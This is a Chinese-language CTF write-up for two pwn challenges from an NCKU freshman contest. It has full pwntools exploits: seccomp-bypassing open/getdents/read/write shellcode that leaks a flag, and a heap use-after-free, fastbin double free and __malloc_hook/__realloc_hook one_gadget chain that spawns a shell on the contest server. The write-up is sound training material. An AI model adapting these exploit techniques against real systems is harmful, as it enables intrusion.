# 成大迎新盃 Write up
來寫一些酷酷的 pwn 題吧
## pwn
## Yet Another Username and Password Checker Revenge
就是可以寫一個 shellcode,那一段是可寫可執行的,下面有明顯的 `bof` ,只是他有開 `seccomp`
```cpp
int __fastcall main(int argc, const char **argv, const char **envp)
{
char buf[40]; // [rsp+0h] [rbp-30h] BYREF
void *addr; // [rsp+28h] [rbp-8h]
setvbuf(stdin, 0LL, 2, 0LL);
setvbuf(stdout, 0LL, 2, 0LL);
addr = (void *)((unsigned __int64)&username & 0xFFFFFFFFFFFFF000LL);
mprotect((void *)((unsigned __int64)&username & 0xFFFFFFFFFFFFF000LL), 0x1000uLL, 7);
apply_seccomp();
puts("Welcome to Yet Another Username and Password Checker Revenge!");
printf("Username: ");
read(0, &username, 0x28uLL);
printf("Password: ");
read(0, buf, 0x40uLL);
puts("Wrong username/password! Please try again.");
return 0;
}
```
來看看他能用什麼吧:
```bash
┌─[rota1001@rota1001] - [~/NCKUCTF] - [Tue Oct 15, 11:47]
└─[$] <> seccomp-tools dump ./yaupc-revenge
line CODE JT JF K
=================================
0000: 0x20 0x00 0x00 0x00000004 A = arch
0001: 0x15 0x01 0x00 0xc000003e if (A == ARCH_X86_64) goto 0003
0002: 0x06 0x00 0x00 0x00000000 return KILL
0003: 0x20 0x00 0x00 0x00000000 A = sys_number
0004: 0x15 0x00 0x01 0x00000000 if (A != read) goto 0006
0005: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0006: 0x15 0x00 0x01 0x00000001 if (A != write) goto 0008
0007: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0008: 0x15 0x00 0x01 0x00000002 if (A != open) goto 0010
0009: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0010: 0x15 0x00 0x01 0x00000003 if (A != close) goto 0012
0011: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0012: 0x15 0x00 0x01 0x00000101 if (A != openat) goto 0014
0013: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0014: 0x15 0x00 0x01 0x0000003c if (A != exit) goto 0016
0015: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0016: 0x15 0x00 0x01 0x000000e7 if (A != exit_group) goto 0018
0017: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0018: 0x15 0x00 0x01 0x0000004e if (A != getdents) goto 0020
0019: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0020: 0x15 0x00 0x01 0x0000013e if (A != getrandom) goto 0022
0021: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0022: 0x15 0x00 0x01 0x0000000c if (A != brk) goto 0024
0023: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0024: 0x15 0x00 0x01 0x00000059 if (A != readlink) goto 0026
0025: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0026: 0x15 0x00 0x01 0x0000000f if (A != rt_sigreturn) goto 0028
0027: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0028: 0x06 0x00 0x00 0x00000000 return KILL
```
看起來基本的 `orw` 都可以開,看看能不能讀 `flag` 吧,可是 `flag` 的名稱不知道,只知道他在某個資料夾下。這個時候去看看還有什麼東西可以用。查了資料發現 `getdents` 可以將以某個將以某個 `file descripter` 開啟的資料夾裡面的東西寫到某個記憶體位置上。於是我們進行以下步驟:
- `open` 開啟資料夾
- `getdents` 寫到可寫的記憶體位置
- `write` 把東西寫到 `stdout`
另外出現一個小問題,`username` 那裡只能寫 `0x28` 個 bytes,但是我們的 shellcode 太長了,於是我們可以先去呼叫 `read` ,讀 shellcode 到我們執行完 `read` 的那裡,執行完後就會開始執行我們的 shellcode
我首先先去看 `flag` 的名稱:
```python
from pwn import *
r = remote("chall.nckuctf.org", 29105, level="debug")
elf = context.binary = ELF("./yaupc-revenge")
sc = 0x4040A0
payload = asm(shellcraft.read(0, sc + 23, 500))
print(len(payload))
r.sendafter(b": ", payload)
r.sendafter(b": ", b"a" * 56 + p64(sc))
payload = shellcraft.open("/home/yaupc-revenge/")
payload += shellcraft.getdents(3, 0x405000, 500)
payload += shellcraft.write(1, 0x405000, 500)
payload = asm(payload)
print(len(payload))
r.sendafter(b"\n", payload)
r.interactive()
```
然後會發現 `flag` 的名稱是 `flag_34a611c6f7934545f1f0c13a61ee2eea`
接下來就去讀檔:
```python
from pwn import *
r = remote("chall.nckuctf.org", 29105, level="debug")
elf = context.binary = ELF("./yaupc-revenge")
sc = 0x4040A0
payload = asm(shellcraft.read(0, sc + 23, 500))
print(len(payload))
r.sendafter(b": ", payload)
r.sendafter(b": ", b"a" * 56 + p64(sc))
payload = shellcraft.open("/home/yaupc-revenge/flag_34a611c6f7934545f1f0c13a61ee2eea", 0)
payload += shellcraft.read(3, 0x405000, 500)
payload += shellcraft.write(1, 0x405000, 500)
payload = asm(payload)
print(len(payload))
r.sendafter(b"\n", payload)
r.interactive()
```
就可以得到 `flag` : ||NCKUCTF{U_r3a11Y_UNd3rst4nd_SeCc0Mp_anD_Sh31LC0d3_e3da68cc2ca0375a61d305273692b4be}||
## babyheap
他是一個可以增加新的任意大小的記憶體,傳任意筆記上去,然後可以刪除,或是輸出筆記的內容。會發現,他在 `free` 之後不會把指標清空,所以有 `UAF` 漏洞。然後 `unsorted_bin` 的尾端會接到 `main_arena`,他是在 `libc` 上的東西,所以我們可以透過把東西 `free` 到 `unsorted bin` 再 `show` 來 leak libc address。要注意的是不要讓他和 `top chunk` 合起來就好。
```python
add(0x100, b"a")
add(0x100, b"a")
#off = 31285248
delete(0)
delete(1)
libc.address = u64(show(0)[:-1].ljust(8, b"\x00")) - 0x3c4b78
print(hex(libc.address))
```
接下來我們要去控制 `rip`,方法是去修改 `malloc_hook`,當我們在呼叫 `malloc` 時,如果他不是 `0` 的話,那麼 `rip` 就會跳上去他所存的記憶體位置,所以我們可以修改他來控制 `rip`。
因為 `free` 完不會清空指針,而他 `free` 時只會檢查指針是不是 `NULL`,所以可以做到 `double free`。我們在 `fastbin` 上做到這件事,只要讓兩次的 `free` 出來的 block 不要在 `fastbin` 中相鄰就好。
```python
add(0x60, b"a") # 2
add(0x60, b"a") # 3
delete(2)
delete(3)
delete(2)
```
這樣的話,我們在 `fastbin` 中就有兩個相同的 block,我們可以先把一個弄出來,然後把他的內容前八個 bytes 變成我們想修改的位置。接下來在把第二個 block 拿出來的時候,他的下一個 block 就會變成我們想改的位置,再把他拿出來就能改裡面的值。現在的問題是當他在從 `fastbin` 中拿出一個東西時會去檢查看看他是不是一個合法的 `block`,所以我們要去找一個看起來像是真的 block,而且又在那附近的記憶體位置。我們可以在 `gdb` 中用以下指令:
```bash
pwndbg> find_fake_fast 0x7906299c4b10 0x7f
Searching for fastbin size fields up to 0x70, starting at 0x7906299c4aa8 resulting in an overlap of 0x7906299c4b10
FAKE CHUNKS
Fake chunk | PREV_INUSE
Addr: 0x7906299c4aed
prev_size: 0x6299c3260000000
size: 0x78 (with flag bits: 0x79)
fd: 0x629685e20000000
bk: 0x629685a00000079
fd_nextsize: 0x79
bk_nextsize: 0x00
pwndbg> pi hex(0x7906299c4b10-0x7906299c4aed)
'0x23'
```
會發現,我們可以找到一個大小為 0x70 的 block (如果去掉 header 的話是 0x60),然後他的位置在 `__malloc_hook - 0x23` 的地方(這個位置是 header 的位置,實際上分配到的是 `__malloc_hook - 0x13`),於是我們可以用這個 block 來蓋到 `__malloc_hook`。然後我們找一個 one_gadget 塞到上面,發現沒有可以用的 one_gadget,怎麼辦呢?
這個時候就要用到 `__realloc_hook`。因為呼叫 `realloc` 的時候前面有很多的 `push`,可以用他們來調整 `rsp` 的位置,讓 `one gadget` 可以用(這裡就是漫長的 gdb 時間了),而 `__realloc_hook` 的位置是在 `__malloc_hook` 前面的那八個 bytes,可以簡單的蓋掉。
```python
add(0x60, p64(libc.sym["__malloc_hook"] - 0x23)) # 4
add(0x60, b"a") #5
add(0x60, b"a") #6
one_gadget = p64(libc.address + 0xf1147)
realloc = p64(libc.address + 0x846D4)
# 0xf02a4
# 0xf1147
print(hex(u64(one_gadget)))
add(0x60, b"a" * (0x13 - 8) + one_gadget + realloc) #7
```
最後去隨便呼叫一下 `malloc` 就可以執行 shell 了,以下是完整的 exploit:
```python
from pwn import *
# r = process("./chal", level="debug")
# r = process("./chal")
r = remote("chall.nckuctf.org", 29104)
elf = context.binary = ELF("./chal")
libc = ELF("./libc.so.6")
raw_input()
def add(size: int, data: bytes):
r.sendlineafter(b">\n", b"1")
r.sendlineafter(b":", str(size).encode())
if data != b"":
r.sendlineafter(b":", data)
def delete(idx: int):
r.sendlineafter(b">\n", b"3")
r.sendlineafter(b":", str(idx).encode())
def show(idx: int):
r.sendlineafter(b">\n", b"2")
r.sendlineafter(b":", str(idx).encode())
return r.recvline()
add(0x100, b"a")
add(0x100, b"a")
#off = 31285248
delete(0)
delete(1)
libc.address = u64(show(0)[:-1].ljust(8, b"\x00")) - 0x3c4b78
print(hex(libc.address))
# 0x3c4b10
add(0x60, b"a") # 2
add(0x60, b"a") # 3
delete(2)
delete(3)
delete(2)
print(hex(libc.sym["__malloc_hook"]))
add(0x60, p64(libc.sym["__malloc_hook"] - 0x23)) # 4
add(0x60, b"a") #5
add(0x60, b"a") #6
one_gadget = p64(libc.address + 0xf1147)
realloc = p64(libc.address + 0x846D4)
# 0xf02a4
# 0xf1147
print(hex(u64(one_gadget)))
add(0x60, b"a" * (0x13 - 8) + one_gadget + realloc) #7
add(0x20, b"")
r.interactive()
```